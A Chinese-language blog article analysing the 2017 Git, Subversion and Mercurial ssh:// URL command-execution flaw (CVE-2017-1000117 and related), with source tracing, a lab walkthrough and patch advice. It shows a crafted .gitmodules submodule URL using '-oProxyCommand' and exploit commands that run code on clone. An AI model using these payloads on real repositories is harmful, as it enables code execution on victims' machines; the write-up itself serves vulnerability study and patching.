溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

惡意SSH鏈接導(dǎo)致命令執(zhí)行漏洞的示例分析

發(fā)布時間:2021-12-30 16:30:34 來源:億速云 閱讀:278 作者:小新 欄目:網(wǎng)絡(luò)管理

小編給大家分享一下惡意SSH鏈接導(dǎo)致命令執(zhí)行漏洞的示例分析,相信大部分人都還不怎么了解,因此分享這篇文章給大家參考一下,希望大家閱讀完這篇文章后大有收獲,下面讓我們一起去了解一下吧!

一、漏洞介紹

前段時間,三款主流的源版本控制系統(tǒng)Git、Subversion (svn)、Mercurial,發(fā)布了更新補丁,修復(fù)了一個客戶端代碼執(zhí)行漏洞。惡意的攻擊者可以向受害者發(fā)送一條精心構(gòu)造的ssh:// URL鏈接,當受害者訪問這條URL則會觸發(fā)漏洞導(dǎo)致執(zhí)行惡意代碼。該漏洞由GitLab的Brian Neel,Recurity Labs的Joan Schneeweiss和GitHub的Jeff King發(fā)現(xiàn)和報告。具體詳情如下:

漏洞編號:

Git: CVE-2017-1000117
Apache Subversion: CVE-2017-9800
Mercurial: CVE-2017-1000116

攻擊者通過精心構(gòu)造一個”ssh://…”URL鏈接發(fā)送給受害者,如果受害者訪問了這個URL,則會導(dǎo)致惡意指令在客戶端執(zhí)行,從而獲取主機權(quán)限。漏洞利用條件和方式:結(jié)合社會工程學(xué)遠程釣魚利用

漏洞影響范圍:

  • Git:

Git <v2.7.6Git v2.8.6Git v2.9.5Git v2.10.4Git v2.11.3Git v2.12.4Git v2.13.5
  • Apache Subversion:

Apache Subversion clients 1.0.0 through 1.8.18 (inclusive)Apache Subversion clients 1.9.0 through 1.9.6 (inclusive)Apache Subversion client 1.10.0-alpha3
  • Mercurial:

Mercurial<4.3

二、漏洞原理分析

惡意人員可以通過巧妙構(gòu)造“ssh://…”鏈接,讓受害人在執(zhí)行程序等情況下訪問該惡意鏈接,從而達到命令執(zhí)行的目的。該鏈接可以被放在 git項目的.gitmodules文件下,這樣當受害人對一個項目進行g(shù)it clone --recurse-submodules操作時,就會引發(fā)安全問題。

如下是我們漏洞環(huán)境的.gitmodules文件:


惡意SSH鏈接導(dǎo)致命令執(zhí)行漏洞的示例分析

[submodule "git"]    path = git    url = ssh://-oProxyCommand=sh<payload/wat

該漏洞主要由于SSH鏈接在hostname部分,若是用“-”開頭,那么會導(dǎo)致ssh命令將hostname誤認為這是一個選項。因此,我們可以利用“-oProxyCommand”選項來達到命令執(zhí)行的目的。

在進行git clone 時候會調(diào)用到git/connect.c中的以下函數(shù):

struct child_process *git_connect(int fd[2], const char *url,const char *prog, int flags)

其接受到的參數(shù)url為命令中“git clone xxx://xxxxxxxxxx/xx(.git)”的xxx://xxxxxxxxxx/xx(.git)部分。在該函數(shù)中會對傳入的這個字符串進行parse,提取其協(xié)議部分。在滿足協(xié)議為ssh://的時候會進入該函數(shù)的else部分。


惡意SSH鏈接導(dǎo)致命令執(zhí)行漏洞的示例分析

然后根據(jù)下面的流程調(diào)用本地的SSH:

惡意SSH鏈接導(dǎo)致命令執(zhí)行漏洞的示例分析

首先獲得本地的ssh路徑,然后push進conn->args,

然后獲得url中ssh_host部分再拼接路徑,

最后調(diào)用start_command函數(shù)進行命令執(zhí)行。

start_command的定義在git/run-command.c

int start_command(struct child_process *cmd)


惡意SSH鏈接導(dǎo)致命令執(zhí)行漏洞的示例分析

將傳入的cmd參數(shù)經(jīng)過處理賦值給argv:


惡意SSH鏈接導(dǎo)致命令執(zhí)行漏洞的示例分析

經(jīng)過execve這個函數(shù)進行命令執(zhí)行。但是在這個這個命令執(zhí)行的內(nèi)容是 “/usr/bin/ssh `ssh_host` path”而ssh命令的-o參數(shù)在一定程度上是可以執(zhí)行命令的:

例如:

ssh -oProxyCommand=gnome-calculator xxx

將會在本地打開gnome的計算器。

所以如果我們在clone操作的時候?qū)⑦B接指定為:

git clone ssh://-oProxyCommand=gnome-calculator/cert

將取得同樣的命令執(zhí)行的效果。

三、漏洞利用

我們在實驗環(huán)境為大家準備的項目地址如下:

http://172.16.12.2:8080/root/CVE-2017-1000117

項目里包含的預(yù)定義命令在CVE-2017-1000117/payloadid > /var/www/html/vuls:


惡意SSH鏈接導(dǎo)致命令執(zhí)行漏洞的示例分析

首先來查看一下本機GIT版本,使用git --version命令:

惡意SSH鏈接導(dǎo)致命令執(zhí)行漏洞的示例分析

如上,我們看到,本機git版本并非最新版,有可能存在該漏洞。

為了能驗證payload是否執(zhí)行成功,我們要保證本機存在payload中的目錄/var/www/html,如果沒有,請先創(chuàng)建(mkdir /var/www/html),此目錄僅用于漏洞驗證:


惡意SSH鏈接導(dǎo)致命令執(zhí)行漏洞的示例分析

接著我們執(zhí)行以下命令clone項目(實際利用場景有可能是被別有用心之人利用社會工程學(xué)欺騙所致):

git clone --recurse-submodules "http://172.16.12.2:8080/root/CVE-2017-1000117.git"

惡意SSH鏈接導(dǎo)致命令執(zhí)行漏洞的示例分析

如上圖,可能會有報錯,但不影響項目下載和惡意命令的執(zhí)行:

我們使用ls -al CVE-2017-1000117命令查看該項目被下載到的位置:

惡意SSH鏈接導(dǎo)致命令執(zhí)行漏洞的示例分析

如上可見,該項目被成功下載。

那么,項目里的預(yù)定義的命令id > /var/www/html/vuls有沒有被執(zhí)行呢?我們使用ls -al /var/www/html/vuls命令驗證是否生成文件:

惡意SSH鏈接導(dǎo)致命令執(zhí)行漏洞的示例分析

如上,文件成功生成。

使用cat命令查看該文件,查看命令執(zhí)行結(jié)果:

惡意SSH鏈接導(dǎo)致命令執(zhí)行漏洞的示例分析

如上圖可見,項目里的預(yù)定義命令被成功執(zhí)行。

四、漏洞修復(fù)

Git官方已經(jīng)對該漏洞進行了修復(fù)。在v2.14.1的commit中,可以看到git_connect函數(shù)中執(zhí)行之前對ssh_host進行了驗證:

惡意SSH鏈接導(dǎo)致命令執(zhí)行漏洞的示例分析

驗證內(nèi)容為新增的這個函數(shù):


惡意SSH鏈接導(dǎo)致命令執(zhí)行漏洞的示例分析

該函數(shù)對ssh_host的第一個字符進行了校驗防止為"-"的情況抑制了向ssh傳遞參數(shù)的情況

并且在多處對傳入的host,port都做了該函數(shù)的過濾。

用戶只需要檢查是否使用受影響范圍內(nèi)的版本,如果是,升級Git即可。

漏洞修復(fù)建議

Git:升級到Git v2.14.1版本
Apache Subversion:升級到Subversion 1.8.19、 Subversion 1.9.7版本
Mercurial:升級到Mercurial 4.3 and 4.2.3.版本

以上是“惡意SSH鏈接導(dǎo)致命令執(zhí)行漏洞的示例分析”這篇文章的所有內(nèi)容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內(nèi)容對大家有所幫助,如果還想學(xué)習(xí)更多知識,歡迎關(guān)注億速云行業(yè)資訊頻道!

向AI問一下細節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

ssh
AI